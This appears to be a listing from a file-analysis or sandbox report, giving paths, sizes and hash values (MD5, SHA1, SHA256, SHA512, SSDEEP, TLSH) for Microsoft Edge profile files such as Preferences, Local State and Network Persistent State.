Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 1cb8da48eee21eb2500940ebf44931b6cc95743d35ec9a43daefd2dd684dc225
MD5 03a02fd918575d9ee55e5bcd41efc2d2
SHA1 3a898d1313a125e3903bcdddaf35f48f979cba83
SHA512 7696116b87a0d23d5108b069b752740a4e2ae9a6b72b318fd1a5828985506176ea6b350fbceee4087751ff8a7af4074356eb1690a916b6ca136e84c655ee4fd2
TLSH
T1B661D5380A12B89DF7711273F6D03BFE73F251AA8D5B4EC911A058BD158BF324566418
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5a0ee6.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe5a0ee6.TMP
Size 3KB
SHA256 6e224b4bfc9cbf29ab885a3c34a71b043db5f91c2d2c58d572b7cb45e34413cf
MD5 36acdcdd82c1608aeda34ae03380b13e
SHA1 99c4debe96f205d274e76b2cb54b34504c197301
SHA512 3ca5d31144624e300d6548bb2c3592a789d9188bfc5914391e46d937b6a921903f8a61e208d00323ae919429bf612ae294efe7bb36f517dbbf5627c4b684579d
TLSH
T1ED61D7380A12B89DF7311373F6E03BFD37F251A94D5B5ED951A018BE158BF328656418
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 af45c3f4e8399c9fff0f508da2166ffe045897d47a8225dd23ba416a5ad0c4e0
MD5 96da79adf8500148b1b3e5b0a33f82de
SHA1 dbaaa9a81e074885f42f1c99bf4ffd0134648d97
SHA512 b9fc545897c198b51f2083c8a2fac2e55862438f3aad766dd2a3f1f488005c46374981359913219d993583c44f71cf160179bd93a68af48171efe4923af1b953
TLSH
T1A651A0F7C2E4866DC91156F0AB146E2BDE1E0A18422C3D5AC9E5FF1B93E34B0D24154E
MD5 SHA1 SHA512 TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 6f1d2c7aca91656bfd73c33c1b15963cbf72a39b4148d57a1b86b5334c5659a7
MD5 d4473d241d887989378c7d0db82b9a1b
SHA1 b3096e9ae13aa4d17dba22a38f97de7dcbf0433e
SHA512 bec7671b079f691fa6c1ff8b2cb8499e091001657161f206a65e90eae5917ffd7b2cf61ea8e2be9e09e74199e255eb17ff15da8c9d439264841a6707d76cd464
SSDEEP 192:sxZSR1yM/jK1Ml8Mjx/fasOB4dHq2IdpGrHW6+WNlBGfYLwH02Ig5IJ:sxZSv7x/fasOB4E38HbOfnO
TLSH
T169520A11BA346A77CCDBD209F945BF53D6F9056292900E54AAFCDA1C00E7BED221782F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 f5076d5f1b18717e22628d13da0bf38ae4fd024c08fcc051cf54bbf4466145b0
MD5 a5aa85dce10b288729a6efd68ef1598d
SHA1 1717f04382a19259d65a00dca55c1dc814c465a8
SHA512 5fbc1091792b995e094f2227fbfeceeb1590c60b8fb6e95d11e007bc06a4a38f1d175d31f6a0b57587392efb46512042e310882752d615ba0101f197c5a5693d
SSDEEP 192:sxZSR1yM/jK1Ml8Mix/faszB4oEdpGzHW6+WNlyB/YLp42IgyJ:sxZSvqx/faszB4/0Hbq/wO
TLSH
T12442E911BA346977CCCBD209F950BB53D6F90563A6900E589AFC9A1C00E7AED221781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 981e97ffd892c832f4c04410013a4391445b4151fe1877e52aace52a6c413018
MD5 41e6121be788e256bc6824eb940b6020
SHA1 d3483116a634e42764263f1dc32c38d61d8c7463
SHA512 bf07afb15573935029103358d2d25255f50d35c298e29669fa401164935449672e8c8538c8115a64153ebbd2b73fefe9cb77b72319554ebf12740253759fa645
SSDEEP 192:sxZSR1yM/jK1Ml8Mbx/fasOBytdHq2IdpGgHW6+WNlhWZYL3N02Ig5+J:sxZSvTx/fasOBEE37Hb+Z4o
TLSH
T123520911BA345A77CCDBD209BA45BF53D6F9057292900E54AAFCDA1C00E7BED221782F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 30KB
SHA256 8dfe442c961d170ca2bdb8a51679c53e307d2e8aca97e1a37579d2ad8bf000b9
MD5 c1e3d525f63a48093fe3e16a78510a1a
SHA1 fc27e9d1e45be03f09812a5eb5e3092956273a50
SHA512 ae99c154c5560619119cd8d69e56c66bca6c65640d11e07e6c6facc9aa310e01b6b5acb74ad62952f602e6ae49fd8604d01809df03f0e4f393222f7f7e15be8d
SSDEEP 768:sOs6pY1WvxzUj8F1+UoAYDCx9Tuqh0VfUC9xbog/OVYILlWwJNIroMTT:sOs6pY1WvxzUju1jaPILIsNzMTT
TLSH
T154E2FA3B680CCB7E4F841E5CEC2AAF967DD801CBAB54895447FA884C03C77EA512759B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 5KB
SHA256 7eee5af9bc5e4e173852620ec8b7f0e4eab32ae29b1ad4f25eabd335be81743b
MD5 dd8897b5802e2027d6b4d3299c414a66
SHA1 0d18022759469af1fbf953e24827862a771ed0f9
SHA512 c0b5f3ef22b9435d0e7f110d8ecc774d412821215d167124c5d29ba007643e463d323c85980fcdd6215af3b5fd74b07582117fa7156b58a207ff5f562fef7c26
SSDEEP 96:KUAAKtePJHohV/lR7whKKm97KeCmb7KHPCpxIJLsd5kNSKOsC9GXqW4UIg0Mpzul:iiJHohV/lR8hK19XCmbuHPCpxIJLsd5b
TLSH
T1FBC1011331BB47123C7E290C925497265B82F7A73018E92B37A810764EA7E794DFC9ED
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

acb6850d-82ab-491d-813e-b4431a11c6df.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\acb6850d-82ab-491d-813e-b4431a11c6df.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 ce9493d85a1fd519fe55257e2799182887a5582e12832de545e50de7ea93c212
MD5 3ebffc2b052802466f0e11b7e473f52d
SHA1 3cb81f81f23dd7315a3a8c2fb45cea9b8f3df372
SHA512 0c96e6fc4446967c8883213cddbdad71651a00d5a9b335ec3ac3fde24a95a09688df8406f932f62c6cb98168c158f93805925bdb643d219445e95e451b1a67cf
SSDEEP 192:qONp6O7+3hQmiUyB4Gttb0mO2opgGhQfU6:qONp61xGt9nOD5hGU6
TLSH
T18C02E8397C7C6C778EB2AE45F68727179FA5103BE9962F40D6E81E0C00D766C2343826
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 12KB
SHA256 573104e752c02265b35dfc4951ef3b75fd6625cb02d8430d1c465f223625ab3e
MD5 7cf5b28a3079cb15a3e43b59bf58afa4
SHA1 9a50904c01d14c8dff2f5d055ad2870cad1c3122
SHA512 823d16683c26287b5b009510125905f64e032646a3588682d88ca098d116f96a878bdd10271b07e88cf9723cc4aaf9fe41abaa92a6d8ecdaf0925b0bfff32ce7
SSDEEP 192:zZLsNZ/QBhIS7+3vdkQmiU1sqs9bnZatb0mO2oazE4cMhRqq6JZIK1fhlg:zFsNZ/FOSN9bZa9nODawwhc4yK
TLSH
T1E14229357C785C736DF6A285F58B36134FBC40ABE9892F9485ED2E0C01DB2AC234B816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 15KB
SHA256 9ccc958f4dd2f6a072263393deb8694d34ac01b0034406f41c7ea47a081389d2
MD5 48ae16499289602fd3f9a0e11f3a2a1c
SHA1 46dc0180227fb02eb859fbbd0d1fe8f7570e72d6
SHA512 4871d6f94e2beda1c04ee2483dfe0d1abd737bc2714a0a138924aa13db758d200f8dc19e2073962e8fbe56495a0ad98f465ac65e118444dd45f392864cfad2b2
SSDEEP 384:nFsNZ+FOSx9b4a9nODawNhcBeRs9JKgqijUOhOGZ:F9fbhdO2wNhcTjKgqmUOhOGZ
TLSH
T1A9725B3564789C736DE3B281F58B36135FF840A7EA852F95D2EC6E0C01CB69C230B916
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 16KB
SHA256 66e7273349a0be4e8c80babcbbaeab9bbe240dc7558f8bb6ffdfb3b010b56b80
MD5 456c8c3fd8d523abdd4e1ed7c2ce2062
SHA1 5b5d092926311ab28c9c9c81d8b39ea7b609b1d9
SHA512 f097f0f47f97eb5c40665bf6f479b5f761a98b71983072ce8ac33e5475db8eb2979f110ce25f73ab4b197505a3e01364266b751ebffb29c67b0a30c663d72fd3
SSDEEP 384:ntsNZxFWSFb2a9nODawNhcBeRs9JKgqijUOhOGZ:t8Fb3dO2wNhcTjKgqmUOhOGZ
TLSH
T1BD725B356478AC735DE3A281F58B36135FF840A7EA852F95D2EC6E0D02CB69C330B916
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 16KB
SHA256 29fff283d8e52290c8444fc8733e511ab10e2f17c54b44b50a6b32b8d88c8260
MD5 d2eb52c43d2c2030db7be639559ac619
SHA1 a735352bc4e125ea7abbff0866e375dbc9043951
SHA512 30442e362de58a2c9c4909c27a07bc7410d6c63f48b0f89b5e811aae7d6cde9a8e3ec0763f8517354e0bd5ddbe4bab8d13549b7074077d8c89e1c9872280a5c3
SSDEEP 384:nPsNZvFzSLbia9nODawNhcBeRs9JKgqijUOhOGZ:P9LbjdO2wNhcTjKgqmUOhOGZ
TLSH
T159724A35647C9C7759E2B281F68B36135FF840A7EA852F95D2EC6E0D02CB69C230B916
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 e9611fb5f8b5359f7b7fd49e94a2f92be23b5cb72c853f4b4c4cfa8b4cd5bb79
MD5 f7d1cb90a262d6ec5c1463e29c78ceca
SHA1 c1c359feb5ce84f19e273e5cd32110476b68a760
SHA512 a26ed5f1c126375cb354cda9420935d003bd39b3967f19033a32a705e8786bc84dde8fad8820a72b1d11b9656d229e42c11581644d6f8409249d9e4b6577328f
SSDEEP 192:vONM6O7+3YQmiUyqt4kttb0mO2oazE4cNhRqq6U6:vONM6irakt9nODawphcU6
TLSH
T13F120A36786C6C775DA2A585F98736139FA90127EE8A2F90D1DC2E1C01EF66C234B816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 21KB
SHA256 2a332e1208e8bec825a6e2613b6c55cf983fb72160989e84ebc0dce5c8800fbf
MD5 445be00bc000b017a7dd17be0b445334
SHA1 9d9facdcba82d336f7c5534025a6290d942b3523
SHA512 362f0bc32f7b784075b94deec018a409e5d4c4a3922eb080521da23c2a66e085147c48b7ae690246b7b0798447264bf324957bd4e6f5029fe61517108e9f3f0c
SSDEEP 384:n6iFl8sN78TUNTUlIlvFzSLbi9DfQK9nODaw+hcBeRs9JKgqijUOhOGZ:xF2+wgqLbZKdO2w+hcTjKgqmUOhOGZ
TLSH
T113A21736E8A8CA7BADE397C1B60A76479EF401A3C9C96ED4D6DC2D4C01C72ED130AC15
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 16KB
SHA256 00aec0c8d68483c87411a4105560aa354bb2be9fc025d2d78917f69901269e7f
MD5 ae1705d0b9c6deaac16332a48afce602
SHA1 d7a34d23aa29f3ed3ade9d98556e59f2f7818d25
SHA512 35201a82b666091c620e3fa49a1ade11a4f311750abfd338d8f9732c041575939ee9e07441ac1593aa5a980d9279d7961df9ddd608b69731d233173b840128ba
SSDEEP 384:nMsNZlFHS2bQa9nODawNhcBeRs9JKgqijUOhOGZ:MF2bZdO2wNhcTjKgqmUOhOGZ
TLSH
T10B725B356478AC775DE3B281F58B36135FF840A7EA852F95D2EC6E0D02CB69C230B916
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

96a8c254-5c69-445e-ad03-93adc970890d.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\96a8c254-5c69-445e-ad03-93adc970890d.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download